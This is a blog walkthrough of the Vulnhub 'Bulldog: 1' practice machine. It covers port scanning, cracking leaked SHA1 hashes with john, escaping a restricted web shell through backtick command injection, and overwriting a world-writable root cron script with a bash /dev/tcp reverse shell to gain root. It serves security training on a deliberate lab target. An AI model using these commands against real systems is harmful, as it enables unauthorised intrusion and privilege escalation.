Vulnhub, Bulldog: 1

Posted on 10 Nov 2017 in security • 5 min read

Bulldog homepage

At the moment I have some times to work again on Vulnhub virtual machine. So here I picked the first one at the moment: Bulldog: 1 A simple boot2root machine by Nick Frichette.


The MOTD of the machine give us its IP address so we can directly launch a nmap at it:

root@kalili:~# nmap -sSV

Starting Nmap 7.60 ( ) at 2017-11-09 14:00 CET
Nmap scan report for
Host is up (0.00057s latency).
Not shown: 997 closed ports
23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)
8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)
MAC Address: 08:00:27:16:1D:5F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds

There is a ssh service running on port 23 and two web servers on port 80 and 8080. The server on both port seems to be the same and talks dogs photographies.


Website screenshot

We run dirb on the web server on the port 80:

root@kalili:~# dirb

DIRB v2.22
By The Dark Raver

START_TIME: Thu Nov  9 14:06:31 2017
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: ----
+ (CODE:200|SIZE:1071)

The result is the same on the port 8080

The admin page present a django login interface.

Django login page

The dev page contain the link to a web-shell and contact information with some hashes in html comments view-source:

Team Lead:<br><!--6515229daf8dbdc8b89fed2e60f107433da5f2cb-->
Back-up Team Lead:<br><br><!--38882f3b81f8f2bc47d9f3119155b05f954892fb-->
Front End:<br><!--c6f7e34d5d08ba4a40dd5627508ccb55b425e279-->
Front End:<br><br><!--0e6ae9fe8af1cd4192865ac97ebf6bda414218a9-->
Back End:<br><!--553d917a396414ab99785694afd51df3a8a8a3e0-->
Back End:<br><br><!--ddf45997a7e18a25ad5f5cf222da64814dd060d5-->

We launch john against the hashes:

root@kalili:~/bulldog# john hashes --format=Raw-SHA1
Using default input encoding: UTF-8
Loaded 7 password hashes with no different salts (Raw-SHA1 [SHA1 128/128 AVX 4x])
Press 'q' or Ctrl-C to abort, almost any other key for status
bulldog          (nick)
1g 0:00:03:32  3/3 0.004714g/s 12965Kp/s 12965Kc/s 77831KC/s hmj359t..hmj359l

Nick use a weak password and it can be used to login into the Django admin interface but he has no access.


Nevertheless nick has access to the restricted web-shell


We can explore a bit, cat /etc/passwd but mostly we can access the django secret key in bulldog/

cat bulldog/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '%9a3ph3iwk$v*_#x4ejg8(t5(qll0fl8q8&u+o_g$yi83d*riq'

And we can easily break out of the "jail" with the echo command:

echo `id`
uid=1001(django) gid=1001(django) groups=1001(django),27(sudo)

Therefore we can create a directory .ssh inside the django user home:

echo `mkdir /home/django/.ssh`

And then echo our ssh public key inside (you need to change the filed size with the firefox inspector):

echo 'ssh-rsa AAAAB3Nt/<SNIP>'> /home/django/.ssh/authorized_keys

Then we got an interactive shell with ssh:

ssh -ldjango -p23


By looking more into the users directory we discover that we have a read access on djangoadmin files and that a .hiddenadmindirectory is present with a note and an executable:

django@bulldog:~$ ls -ahlR /home
total 16K
drwxr-xr-x  4 root         root         4.0K Aug 24 18:16 .
drwxr-xr-x 24 root         root         4.0K Aug 25 22:07 ..
drwxr-xr-x  5 bulldogadmin bulldogadmin 4.0K Sep 20 19:45 bulldogadmin
drwxr-xr-x  6 django       django       4.0K Nov  9 09:43 django

total 40K
drwxr-xr-x 5 bulldogadmin bulldogadmin 4.0K Sep 20 19:45 .
drwxr-xr-x 4 root         root         4.0K Aug 24 18:16 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin  220 Aug 24 17:39 .bash_logout
-rw-r--r-- 1 bulldogadmin bulldogadmin 3.7K Aug 24 17:39 .bashrc
drwx------ 2 bulldogadmin bulldogadmin 4.0K Aug 24 17:40 .cache
drwxrwxr-x 2 bulldogadmin bulldogadmin 4.0K Sep 20 19:44 .hiddenadmindirectory
drwxrwxr-x 2 bulldogadmin bulldogadmin 4.0K Aug 24 22:18 .nano
-rw-r--r-- 1 bulldogadmin bulldogadmin  655 Aug 24 17:39 .profile
-rw-rw-r-- 1 bulldogadmin bulldogadmin   66 Aug 24 22:18 .selected_editor
-rw-r--r-- 1 bulldogadmin bulldogadmin    0 Aug 24 17:45 .sudo_as_admin_successful
-rw-rw-r-- 1 bulldogadmin bulldogadmin  217 Aug 24 18:20 .wget-hsts
ls: cannot open directory '/home/bulldogadmin/.cache': Permission denied

total 24K
drwxrwxr-x 2 bulldogadmin bulldogadmin 4.0K Sep 20 19:44 .
drwxr-xr-x 5 bulldogadmin bulldogadmin 4.0K Sep 20 19:45 ..
-rw-r--r-- 1 bulldogadmin bulldogadmin 8.6K Aug 25 22:18 customPermissionApp
-rw-rw-r-- 1 bulldogadmin bulldogadmin  619 Sep 20 19:44 note


The note's content is the following:


I'm working on the backend permission stuff. Listen, it's super prototype but I think it's going to work out great. Literally run the app, give your account password, and it will determine if you should have access to that file or not!

It's great stuff! Once I'm finished with it, a hacker wouldn't even be able to reverse it! Keep in mind that it's still a prototype right now. I am about to get it working with the Django user account. I'm not sure how I'll implement it for the others. Maybe the webserver is the only one who needs to have root access sometimes?

Let me know what you think of it!


We copy the executable to make it our own and be able to execute it:

django@bulldog:~$ cp /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp ./ && chmod +x customPermissionApp

Then it's reverse, but another lead was found during the reconnaissance for privilege escalation:


By looking at the cron files we also see that there is a runAV task:

django@bulldog:~$ ls -ahlR /etc/cron*
-rw-r--r-- 1 root root  722 Apr  5  2016 /etc/crontab

total 24K
drwxr-xr-x  2 root root 4.0K Aug 25 22:05 .
drwxr-xr-x 94 root root 4.0K Nov  9 06:38 ..
-rw-r--r--  1 root root  589 Jul 16  2014 mdadm
-rw-r--r--  1 root root  102 Apr  5  2016 .placeholder
-rw-r--r--  1 root root  191 Aug 24 17:38 popularity-contest
-rw-r--r--  1 root root   54 Aug 25 22:05 runAV

By digging in we found that:

it run a script with root right every minute

django@bulldog:~$ cat /etc/cron.d/runAV
*/1 * * * * root /.hiddenAVDirectory/

the script is world writable:

django@bulldog:~$ ls -l /.hiddenAVDirectory/
-rwxrwxrwx 1 root root 157 Aug 25 22:12 /.hiddenAVDirectory/

that the script is just a place holder:

django@bulldog:~$ cat /.hiddenAVDirectory/
#!/usr/bin/env python

# Just wanted to throw this placeholder here really quick.
# We will put the full AV here when the vendor is done making it.
# - Alan

We can just get a reverse root shell by modifying the file:

django@bulldog:~$ cat /.hiddenAVDirectory/
bash -i >& /dev/tcp/ 0>&1

And listen client side:

root@kalili:~# netcat -l -p 4444
bash: cannot set terminal process group (2145): Inappropriate ioctl for device
bash: no job control in this shell
root@bulldog:~# id
uid=0(root) gid=0(root) groups=0(root)
ls /root
cat /root/congrats.txt
Congratulations on completing this VM :D That wasn't so bad was it?
Let me know what you thought on twitter, I'm @frichette_n
As far as I know there are two ways to get root. Can you find the other one?
Perhaps the sequel will be more challenging. Until next time, I hope you enjoyed!

Yeah the other one include reverse engineering which is not my thing :)

In order to have a complete interactive shell we may just copy our ssh key on the root folder:

cp /home/django.ssh /root -r

And connect with ssh:

root@kalili:~# ssh -lroot -p23
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-87-generic x86_64)


Thanks to @frichette_n for the machine and thanks to @vulnub.